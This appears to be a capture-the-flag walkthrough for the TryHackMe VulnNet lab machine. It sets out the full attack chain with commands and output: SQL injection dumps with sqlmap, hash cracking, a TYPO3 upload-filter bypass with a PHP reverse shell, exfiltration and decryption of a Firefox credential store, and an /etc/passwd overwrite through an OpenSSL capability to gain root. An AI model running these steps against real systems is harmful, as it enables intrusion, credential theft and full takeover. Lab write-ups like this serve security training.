Difficulty: Medium
Reconnaissance
Port Scan
nmap -sCV -A <MACHINE-IP> -oA nmap-VulnNet
Two open ports:
| Port | Service |
|---|---|
| 22 | OpenSSH 7.6p1 (Ubuntu) |
| 80 | Apache 2.4.29 |
The HTTP root served a "coming soon" countdown page for VulnNet Entertainment.
Added the target to /etc/hosts:
echo '<MACHINE-IP> vulnnet.thm' | tee -a /etc/hosts
Virtual Host Enumeration
The main domain revealed nothing interesting, so vhosts were fuzzed:
ffuf -u http://vulnnet.thm \
-H "HOST: FUZZ.vulnnet.thm" \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -ac
Four subdomains discovered:
| Subdomain | Notes |
|---|---|
api.vulnnet.thm |
Returns VulnNet API is up!
|
blog.vulnnet.thm |
Public blog site |
shop.vulnnet.thm |
Shop frontend |
admin1.vulnnet.thm |
Redirects to TYPO3 CMS login |
All four were added to /etc/hosts:
echo '<MACHINE-IP> api.vulnnet.thm blog.vulnnet.thm shop.vulnnet.thm admin1.vulnnet.thm' | tee -a /etc/hosts
SQL Injection → Credentials
Discovering the Injection Point
Visiting http://api.vulnnet.thm confirmed the API was live. Opening the blog at http://blog.vulnnet.thm/post1.php and inspecting via browser DevTools (Network tab) revealed the API call being made in the background — also visible in the page source:
GET http://api.vulnnet.thm/vn_internals/api/v2/fetch/?blog=1
Manual testing confirmed SQL injection on the blog parameter:
http://api.vulnnet.thm/vn_internals/api/v2/fetch/?blog=99 or 1=1
Response:
{
"request_id": "99 or 1=1",
"blog_id": "1",
"titles": "Windows Search Vulnerability Can be Abused to Deliver",
"status": "posted"
}
The query returned a valid blog entry despite the invalid ID, confirming the injection.
Automated Extraction with sqlmap
Three injection types were confirmed (boolean-based blind, time-based blind, UNION):
sqlmap -u "http://api.vulnnet.thm/vn_internals/api/v2/fetch/?blog=1" \
-p blog --dbs --batch
Databases found: blog, information_schema, vn_admin.
Dumping the TYPO3 admin table (vn_admin):
sqlmap -u "http://api.vulnnet.thm/vn_internals/api/v2/fetch/?blog=1" \
--batch -D vn_admin -T be_users -C username,password --dump
Result:
| username | password hash |
|---|---|
chris_w |
$argon2i$v=19$m=65536,t=16,p=2$UnlVSEgyMUFnYnJXNXlXdg$j6z3IshmjsN+CwhciRECV2NArQwipqQMIBtYufyM4Rg |
Dumping the blog users table (blog.users) for a password wordlist:
First, enumerate the columns:
sqlmap -u "http://api.vulnnet.thm/vn_internals/api/v2/fetch/?blog=1" \
--batch -D blog -T users --columns
Database: blog
Table: users
[3 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| id | int(11) |
| password | varchar(50) |
| username | varchar(50) |
+----------+-------------+
Then dump the credentials:
sqlmap -u "http://api.vulnnet.thm/vn_internals/api/v2/fetch/?blog=1" \
--batch -D blog -T users -C username,password --dump
This returned 651 plaintext username/password pairs. The passwords were extracted and saved as a custom wordlist for cracking the admin hash.
Hash Cracking
The Argon2i hash was cracked using the dumped blog passwords as a wordlist:
john hash.txt --wordlist=clean_passwords.txt
Cracked password: REDACTED
Initial Access — TYPO3 RCE via File Upload
Login to TYPO3
Logged into http://admin1.vulnnet.thm/typo3 as chris_w with the cracked password. TYPO3 CMS version 10.3.0 was confirmed.
Bypassing the File Upload Restriction
The File module (Filelist) allowed file uploads but blocked PHP extensions by default via the [BE][fileDenyPattern] setting.
To remove this restriction:
- Navigate to Admin Tools → Settings → Configure Installation-Wide Options
- Search for
filedenyin the filter - Clear the
[BE][fileDenyPattern]field - Click Write configuration
Uploading the Web Shell
A PHP reverse shell (pentestmonkey) was saved as shell.php, with $ip set to <YOUR-IP> and $port set to the desired listener port, then uploaded to fileadmin/ → user_upload/ via the upload button in the Filelist module.
The shell was triggered by visiting:
http://admin1.vulnnet.thm/fileadmin/user_upload/shell.php
A reverse connection was received as www-data.
Lateral Movement — Firefox Credential Extraction
Identifying a Readable Profile Directory
ls -la /home/system/
The .mozilla directory was world-readable. It was archived and exfiltrated:
zip /tmp/mozilla.zip .mozilla/ -r
python3 -m http.server 8000
# On attacker:
wget http://<MACHINE-IP>:8000/mozilla.zip
Selecting the Correct Firefox Profile
Three profiles were present under .mozilla/firefox/:
| Profile directory | Contents | Usable? |
|---|---|---|
2o9vd4oi.default |
Only times.json
|
No — empty profile |
8mk7ix79.default-release |
key4.db but no logins.json
|
No — keys without credentials |
2fjnrwth.default-release |
key4.db + logins.json
|
Yes |
Firefox requires both key4.db (NSS encryption keys) and logins.json (encrypted saved credentials) to decrypt stored passwords. The first two profiles failed with either "Couldn't initialize NSS" or "Couldn't find credentials file" errors. The third profile contained both files.
Decrypting Saved Passwords
python3 firefox_decrypt.py \
/home/kali/tryhackme/easy/dir/.mozilla/firefox/2fjnrwth.default-release
Output:
Website: https://tryhackme.com
Username: 'chris_w@vulnnet.thm'
Password: 'REDACTED'
SSH as system
/etc/passwd confirmed a system user with a bash shell. The recovered password worked:
ssh system@vulnnet.thm
# Password: REDACTED
User flag: REDACTED
Privilege Escalation — OpenSSL =ep Capability Abuse
Discovering the Capability
LinPEAS flagged a custom OpenSSL binary with the =ep (all effective + permitted) capability:
/home/system/Utils/openssl =ep
=ep grants every capability to the binary — effectively making it run with full privileges without being SUID root.
Reading and Writing Protected Files
The capability allowed reading any file:
/home/system/Utils/openssl enc -in /etc/passwd
And writing to any file, including root-owned ones:
echo 'test' | /home/system/Utils/openssl enc -out /root/test
Adding a Root User to /etc/passwd
A new password hash was generated:
openssl passwd -1 pass123
# Output: $1$/8yPRAnx$Ip5PtsMgCo0q8r/AroK4u1
A malicious /etc/passwd entry was constructed and written:
# Create the new user line
echo 'pwn:$1$/8yPRAnx$Ip5PtsMgCo0q8r/AroK4u1:0:0:root:/root:/bin/bash' > /tmp/rootuser
# Copy current passwd to /tmp
/home/system/Utils/openssl enc -in /etc/passwd -out /tmp/passwd
# Append new user
cat /tmp/rootuser >> /tmp/passwd
# Overwrite /etc/passwd with the modified version
/home/system/Utils/openssl enc -in /tmp/passwd -out /etc/passwd
Created user credentials:
| Field | Value |
|---|---|
| Username | pwn |
| Password | pass123 |
Switching to Root
su pwn
# Password: pass123
Shell obtained as root.
Root flag: REDACTED
Attack Chain Summary
SQL Injection (api.vulnnet.thm)
↓
Dump vn_admin.be_users → chris_w hash
↓
Crack Argon2i hash using blog user passwords as wordlist
↓
Login to TYPO3 CMS (admin1.vulnnet.thm)
↓
Bypass fileDenyPattern → Upload PHP reverse shell
↓
RCE as www-data
↓
Exfiltrate .mozilla Firefox profile
↓
Decrypt saved password from 2fjnrwth.default-release profile
↓
SSH as system → user.txt
↓
Abuse openssl =ep capability → Overwrite /etc/passwd
↓
su to pwn (pass123) → root.txt
Top comments (0)